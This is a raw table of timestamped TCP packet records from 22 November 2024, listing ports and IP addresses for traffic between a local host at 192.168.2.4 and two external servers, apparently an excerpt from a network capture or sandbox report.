Nov 22, 2024 04:12:27.403218985 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.403263092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.404325008 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.404367924 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.404495001 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.404539108 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.404915094 CET	443	49799	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.404992104 CET	443	49799	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.405034065 CET	49799	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.405148983 CET	49799	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.405162096 CET	443	49799	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.405170918 CET	49799	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.405175924 CET	443	49799	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.405793905 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.405837059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.405935049 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.405975103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.406806946 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.406860113 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.406903982 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.406945944 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.407502890 CET	49803	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.407567024 CET	443	49803	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.407636881 CET	49803	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.407756090 CET	49803	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.407788992 CET	443	49803	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.408009052 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.408051968 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.408092976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.408138037 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.409286022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.409338951 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.409378052 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.409421921 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.410428047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.410475016 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.546281099 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.546314955 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.546366930 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.546391010 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.546607971 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.546664953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.546703100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.546746969 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.547466993 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.547507048 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.547564030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.547610998 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.548566103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.548609972 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.548661947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.548705101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.549683094 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.549725056 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.549770117 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.549810886 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.550787926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.550829887 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.550869942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.550906897 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.551918030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.551966906 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.552041054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.552086115 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.553035021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.553080082 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.553164005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.553205013 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.554150105 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.554195881 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.554263115 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.554303885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.555253983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.555299044 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.555355072 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.555397987 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.556350946 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.556418896 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.556463003 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.556508064 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.557460070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.557502031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.557522058 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.557564020 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.558563948 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.558604002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.558685064 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.558727026 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.559654951 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.559700012 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.559777975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.559820890 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.560782909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.560826063 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.560899973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.560942888 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.561898947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.561942101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.562006950 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.562047958 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.563039064 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.563085079 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.563150883 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.563194036 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.564104080 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.564162016 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.564208031 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.564249992 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.565251112 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.565299034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.565331936 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.565376043 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.566351891 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.566416025 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.566447973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.566488981 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.567445040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.567488909 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.567562103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.567605019 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.568541050 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.568581104 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.568711996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.568754911 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.569670916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.569713116 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.569756985 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.569798946 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.570770025 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.570826054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.570863008 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.570914984 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.571883917 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.571962118 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.572002888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.572122097 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.573060989 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.573116064 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.573163033 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.573210955 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.574124098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.574171066 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.574248075 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.574297905 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.575239897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.575290918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.575308084 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.575355053 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.576333046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.576379061 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.576446056 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.576497078 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.577423096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.577471972 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.577716112 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.577763081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.578536987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.578584909 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.578680992 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.578727007 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.579654932 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.579704046 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.579750061 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.579797983 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.580750942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.580811977 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.580856085 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.580909967 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.581883907 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.581931114 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.581969023 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.582017899 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.582986116 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.583038092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.583148003 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.583197117 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.584073067 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.584121943 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.584172964 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.584222078 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.585186958 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.585235119 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.585304022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.585351944 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.586285114 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.586330891 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.586404085 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.586452007 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.587049007 CET	443	49800	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.587220907 CET	443	49800	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.587290049 CET	49800	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.587369919 CET	49800	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.587369919 CET	49800	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.587408066 CET	443	49800	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.587413073 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.587435007 CET	443	49800	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.587461948 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.587498903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.587544918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.588540077 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.588598967 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.588640928 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.588691950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.589638948 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.589703083 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.589746952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.589792013 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.590629101 CET	49804	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.590699911 CET	443	49804	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.590764046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.590801001 CET	49804	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.590811014 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.590882063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.590931892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.590981007 CET	49804	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.591011047 CET	443	49804	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.591861963 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.591912985 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.591989040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.592036963 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.592974901 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.593022108 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.593094110 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.593141079 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.594093084 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.594142914 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.594186068 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.594234943 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.595186949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.595237970 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.595304012 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.595355034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.596290112 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.596343994 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.596386909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.596435070 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.597420931 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.597493887 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.597531080 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.597580910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.598516941 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.598563910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.598632097 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.598676920 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.599634886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.599684000 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.599725962 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.599773884 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.600739002 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.600789070 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.600806952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.600853920 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.601865053 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.601912022 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.601975918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.602022886 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.602953911 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.603002071 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.603070974 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.603118896 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.603849888 CET	443	49801	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.603904963 CET	443	49801	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.603960037 CET	49801	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.604031086 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.604053974 CET	49801	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.604082108 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.604084969 CET	443	49801	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.604113102 CET	49801	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.604125977 CET	443	49801	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.606372118 CET	49805	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.606435061 CET	443	49805	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.606515884 CET	49805	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.606647015 CET	49805	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.606678009 CET	443	49805	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.639643908 CET	443	49802	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.639857054 CET	443	49802	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.639945984 CET	49802	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.639991045 CET	49802	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.639991045 CET	49802	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.640008926 CET	443	49802	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.640032053 CET	443	49802	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.641671896 CET	49806	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.641700983 CET	443	49806	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.641781092 CET	49806	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.641901016 CET	49806	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.641946077 CET	443	49806	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.747266054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.747347116 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.747495890 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.747581959 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.747663021 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.747663021 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.747687101 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.747740030 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.748697996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.748749971 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.748780966 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.748826027 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.749805927 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.749855995 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.749911070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.749958992 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.750935078 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.750983953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.751046896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.751095057 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.752027988 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.752077103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.752140999 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.752187967 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.753151894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.753201008 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.753268003 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.753314018 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.754245996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.754295111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.754365921 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.754415989 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.755362034 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.755410910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.755431890 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.755477905 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.756457090 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.756505966 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.756566048 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.756609917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.757597923 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.757667065 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.757704973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.757750988 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.758697033 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.758744955 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.758750916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.758797884 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.759779930 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.759836912 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.759884119 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.759932041 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.760900021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.760948896 CET	49798	80	192.168.2.4	185.215.113.16
